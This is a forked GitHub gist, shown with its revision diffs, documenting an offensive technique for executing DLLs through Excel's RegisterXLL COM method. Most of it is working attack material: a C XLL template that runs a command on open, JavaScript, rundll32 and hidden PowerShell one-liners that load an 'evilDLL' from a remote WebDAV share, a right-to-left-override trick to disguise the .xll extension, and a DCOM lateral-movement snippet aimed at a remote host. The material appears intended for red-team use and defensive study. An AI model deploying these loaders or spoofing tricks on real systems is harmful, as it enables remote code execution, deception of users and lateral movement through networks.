Skip to content

Instantly share code, notes, and snippets.

@rjk11111
Forked from ryhanson/ExcelXLL.md
Created March 22, 2018 17:22
Show Gist options
  • Save rjk11111/96e9a96bf7b2d56262ecb98cf3937908 to your computer and use it in GitHub Desktop.
Save rjk11111/96e9a96bf7b2d56262ecb98cf3937908 to your computer and use it in GitHub Desktop.

Revisions

  1. @ryhanson ryhanson revised this gist Jul 23, 2017. 1 changed file with 5 additions and 1 deletion.
    6 changes: 5 additions & 1 deletion ExcelXLL.md
    Original file line number Diff line number Diff line change
    @@ -90,4 +90,8 @@ $isx64 = [boolean]$obj.Application.ProductCode[21]
    # Load DLL from WebDAV
    $obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")
    ```
    ```

    The DCOM pivoting technique has been added to [Invoke-DCOM.ps1](https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1) by [@rvrsh3ll](https://github.com/rvrsh3ll), thanks to [@rxwx](https://github.com/rxwx)

    Here is another [XLL PoC](https://github.com/MoooKitty/xllpoc) by [@MooKitty](https://github.com/MoooKitty)
  2. @ryhanson ryhanson revised this gist Jul 23, 2017. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions ExcelXLL.md
    Original file line number Diff line number Diff line change
    @@ -4,9 +4,9 @@ A DLL can be loaded and executed via Excel by initializing the Excel.Application

    When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\`.

    The RegisterXLL function expects an XLL which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found here: https://msdn.microsoft.com/en-us/library/office/bb687911.aspx
    The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be [found on MSDN](https://msdn.microsoft.com/en-us/library/office/bb687911.aspx)

    The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx ([@buffaloverflow](https://twitter.com/buffaloverflow)) has more notes on this, including a simple example of an XLL: https://gist.github.com/rxwx/3f0b52d1cb669f97dc003b43fc401ba0
    The XLL can also be executed by double-clicking the .xll file, however there is a security warning. [@rxwx](https://github.com/rxwx) has more [notes on this here](https://github.com/rxwx) including his simple example of an XLL.

    An interesting thing about Office, is it will perform file format sniffing for certain extensions, such as .xls, .xlk, and .doc (and probably more). This means that you can rename the .xll to a .xls or .xlk and it will still open. However, the initial add-in warning is still triggered, along with another warning that mentions the file format and extension don't match.

    @@ -79,7 +79,7 @@ $excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg");
    powershell -w hidden -c "IEX ((New-Object -ComObject Excel.Application).RegisterXLL('\\webdavserver\files\evilDLL.jpg'))"
    ```

    @rxwx ([@buffaloverflow](https://twitter.com/buffaloverflow)) discovered that this can also be used for lateral movement in environments that support DCOM [source](https://twitter.com/buffaloverflow/status/888427071327916032), here is an example:
    [@rxwx](https://github.com/rxwx) discovered that this can also be used for lateral movement in environments that support DCOM [source](https://twitter.com/buffaloverflow/status/888427071327916032), here is an example:

    ```powershell
    $Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111")
  3. @ryhanson ryhanson revised this gist Jul 23, 2017. 4 changed files with 93 additions and 10 deletions.
    93 changes: 93 additions & 0 deletions ExcelXLL.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,93 @@
    # DLL Execution via Excel.Application RegisterXLL() method

    A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does *not* need to be local, it can also be a UNC path that points to a remote WebDAV server.

    When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: `C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\`.

    The RegisterXLL function expects an XLL which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found here: https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

    The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx ([@buffaloverflow](https://twitter.com/buffaloverflow)) has more notes on this, including a simple example of an XLL: https://gist.github.com/rxwx/3f0b52d1cb669f97dc003b43fc401ba0

    An interesting thing about Office, is it will perform file format sniffing for certain extensions, such as .xls, .xlk, and .doc (and probably more). This means that you can rename the .xll to a .xls or .xlk and it will still open. However, the initial add-in warning is still triggered, along with another warning that mentions the file format and extension don't match.

    Since the add-in warning shows the full path to the filename, certain unicode characters can be used to mask the .xll extension. One of my favorites is the [Right-to-Left Override Character] (http://www.fileformat.info/info/unicode/char/202e/index.htm). By using this character, you can make the Excel file appear as if it has any extension. For example, the filename `Footba\u202Eslx.xll` would display as `Footballx.xls`, since everything after the character is reversed.

    Here is a basic example of a DLL with the required xlAutoOpen export to make it an XLL that executes on open. As with any DLL, execution can also be triggered in the `DLL_PROCESS_ATTACH` case.

    ```c
    // Compile with: cl.exe notepadXLL.c /LD /o notepad.xll
    #include <Windows.h>

    __declspec(dllexport) void __cdecl xlAutoOpen(void);

    void __cdecl xlAutoOpen() {
    // Triggers when Excel opens
    WinExec("cmd.exe /c notepad.exe", 1);
    }

    BOOL APIENTRY DllMain( HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
    )
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }
    ```
    Below are samples of various ways this can be executed.
    Javascript:
    ```javascript
    // Create Instace of Excel.Application COM object
    var excel = new ActiveXObject("Excel.Application");
    // Pass in path to the DLL (can use any extension)
    excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
    // Delivered via WebDAV
    excel.RegisterXLL("\\\\webdavserver\\files\\evilDLL.jpg");
    ```

    Rundll32.exe mshtml.dll one-liner:

    ```
    rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('\\\\webdavserver\\files\\evilDLL.jpg');this.close();
    ```

    Powershell:

    ```powershell
    # Create Instace of Excel.Application COM object
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    # Pass in path to the DLL (can use any extension)
    $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")
    # Delivered via WebDAV
    $excel.RegisterXLL("\\webdavserver\files\evilDLL.jpg");
    # One liner with WebDAV:
    powershell -w hidden -c "IEX ((New-Object -ComObject Excel.Application).RegisterXLL('\\webdavserver\files\evilDLL.jpg'))"
    ```

    @rxwx ([@buffaloverflow](https://twitter.com/buffaloverflow)) discovered that this can also be used for lateral movement in environments that support DCOM [source](https://twitter.com/buffaloverflow/status/888427071327916032), here is an example:

    ```powershell
    $Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111")
    $Obj = [System.Activator]::CreateInstance($Com)
    # Detect Office bitness so proper DLL can be used
    $isx64 = [boolean]$obj.Application.ProductCode[21]
    # Load DLL from WebDAV
    $obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")
    ```
    2 changes: 0 additions & 2 deletions excel.bat
    Original file line number Diff line number Diff line change
    @@ -1,2 +0,0 @@
    REM rundll32 mshtml.dll HTA one-liner command:
    rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
    4 changes: 0 additions & 4 deletions excel.js
    Original file line number Diff line number Diff line change
    @@ -1,4 +0,0 @@
    // Create Instace of Excel.Application COM object
    var excel = new ActiveXObject("Excel.Application");
    // Pass in path to the DLL (can use any extension)
    excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
    4 changes: 0 additions & 4 deletions excel.ps1
    Original file line number Diff line number Diff line change
    @@ -1,4 +0,0 @@
    # Create Instace of Excel.Application COM object
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    # Pass in path to the DLL (can use any extension)
    $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")
  4. @ryhanson ryhanson revised this gist Mar 21, 2017. No changes.
  5. @ryhanson ryhanson created this gist Mar 21, 2017.
    2 changes: 2 additions & 0 deletions excel.bat
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,2 @@
    REM rundll32 mshtml.dll HTA one-liner command:
    rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();
    4 changes: 4 additions & 0 deletions excel.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,4 @@
    // Create Instace of Excel.Application COM object
    var excel = new ActiveXObject("Excel.Application");
    // Pass in path to the DLL (can use any extension)
    excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz");
    4 changes: 4 additions & 0 deletions excel.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,4 @@
    # Create Instace of Excel.Application COM object
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    # Pass in path to the DLL (can use any extension)
    $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt")